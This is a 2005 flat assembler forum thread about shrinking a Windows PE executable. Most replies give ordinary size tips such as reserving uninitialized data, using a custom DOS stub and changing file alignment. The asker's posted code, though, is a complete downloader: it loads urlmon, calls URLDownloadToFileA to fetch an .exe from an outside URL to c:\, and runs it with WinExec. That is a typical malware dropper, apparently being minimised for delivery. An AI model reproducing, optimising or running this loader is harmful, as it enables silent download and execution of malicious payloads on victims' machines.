flat assembler
Message board for the users of flat assembler.

Index > Main > smaller .exe

Author
Thread Post new topic Reply to topic
johndoe



Joined: 18 Jun 2005
Posts: 8
johndoe 28 Jun 2005, 12:52
does anyone have tips or tricks to decrease the size of the end result of the .exe in windows

by that i DONT mean packers
Post 28 Jun 2005, 12:52
View user's profile Send private message Reply with quote
mike.dld



Joined: 03 Oct 2003
Posts: 235
Location: Belarus, Minsk
mike.dld 28 Jun 2005, 13:08
Use Assembler instead of HLL Wink
Post 28 Jun 2005, 13:08
View user's profile Send private message Visit poster's website ICQ Number Reply with quote
vid
Verbosity in development


Joined: 05 Sep 2003
Posts: 7105
Location: Slovakia
vid 28 Jun 2005, 13:21
place uninitialized variables to the end of file (or any other place) where they will be only reserved so no data will be defined.
If you need array initialized with constant, it's sometimes smaller to reserve it and fill by code.
Post 28 Jun 2005, 13:21
View user's profile Send private message Visit poster's website AIM Address MSN Messenger ICQ Number Reply with quote
johndoe



Joined: 18 Jun 2005
Posts: 8
johndoe 29 Jun 2005, 14:32
this is the code im trying to make smaller
1024bytes i think
any ideas for making this SMALLER thanks

format PE gui 4.0

include 'C:\fasm\include\win32a.inc'
; load library
push szurlmon
call [LoadLibrary]
mov ebx, eax
; load function
push szURLDownloadToFileA
push ebx
call [GetProcAddress]
mov ebx, eax
; call downloading
push 0
push 0
push szFilename
push szURL
push 0
call ebx
; exec file
push 0
push szFilename
call [WinExec]
; exit process
push 0
call [ExitProcess]

; needed stuff ..
szurlmon db 'urlmon.dll',0
szURLDownloadToFileA db 'URLDownloadToFileA',0
szURL db 'http://host.com/bla.exe', 0
szFilename db 'c:\bla.exe', 0

data import
library kernel32, 'KERNEL32.DLL'
include 'C:\fasm\include\APIA\KERNEL32.INC'
end data
Post 29 Jun 2005, 14:32
View user's profile Send private message Reply with quote
decard



Joined: 11 Sep 2003
Posts: 1092
Location: Poland
decard 29 Jun 2005, 14:40
You can't simply make PE file smaller than 1024 bytes. You can build such file manually. Search win32asmcommunity board, there was a topic about it.
Post 29 Jun 2005, 14:40
View user's profile Send private message Visit poster's website Reply with quote
johndoe



Joined: 18 Jun 2005
Posts: 8
johndoe 29 Jun 2005, 14:54
what if i importer urtodownloadfilea
Post 29 Jun 2005, 14:54
View user's profile Send private message Reply with quote
El Tangas



Joined: 11 Oct 2003
Posts: 120
Location: Sunset Empire
El Tangas 30 Jun 2005, 20:21
Some recomend removing the dos stub to save space. But you can create a dos stub containing some of the data for your program, for example some strings (there is not much room in the stub, without increasing the size).
But since you already have 1024 bytes, you have to reduce manually, as decard said.
Post 30 Jun 2005, 20:21
View user's profile Send private message Reply with quote
Vasilev Vjacheslav



Joined: 11 Aug 2004
Posts: 392
Vasilev Vjacheslav 01 Jul 2005, 09:57
you can use own dos-stub, also you can trim last section

Code:
format pe gui 4.0 on "dos.dat"
    
Post 01 Jul 2005, 09:57
View user's profile Send private message Reply with quote
johndoe



Joined: 18 Jun 2005
Posts: 8
johndoe 01 Jul 2005, 11:32
i have no idea how to do this Embarassed Embarassed Embarassed Embarassed
Post 01 Jul 2005, 11:32
View user's profile Send private message Reply with quote
Nikolay Petrov



Joined: 22 Apr 2004
Posts: 101
Location: Bulgaria
Nikolay Petrov 01 Jul 2005, 21:54
it's possible with 16 bits NE executable. I send a exe file because a fasmw not support a dead formats.
See a sample:


Description:
Download
Filename: NEsample.rar
Filesize: 498 Bytes
Downloaded: 436 Time(s)

Post 01 Jul 2005, 21:54
View user's profile Send private message Reply with quote
rambo



Joined: 28 Feb 2005
Posts: 22
Location: posen, poland
rambo 02 Jul 2005, 19:23
you can`t make it smaller, even without dos-stub. first section have to start at 0x200, so even, if you`ll remove dos-stub, you`ll have to fill space after header (in fact in header) with padding.

you can change file align, and then you`ll be able to remove padding at the end of file. and that`s all. you can`t do more. use packers, if you want to get it smaller. i wrote one, extreemly good for this file (667 bytes packed), so put me message, and i can provide it to you, little hacker ; ))
Post 02 Jul 2005, 19:23
View user's profile Send private message Visit poster's website Reply with quote
polygon7



Joined: 14 Aug 2003
Posts: 62
Location: Poznan, Poland
polygon7 03 Jul 2005, 19:32

_________________
best regards
p7
Post 03 Jul 2005, 19:32
View user's profile Send private message Visit poster's website Reply with quote
Display posts from previous:
Post new topic Reply to topic

Jump to:  


< Last Thread | Next Thread >
Forum Rules:
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum
You cannot attach files in this forum
You can download files in this forum


Copyright © 1999-2024, Tomasz Grysztar. Also on GitHub, YouTube.

Website powered by rwasa.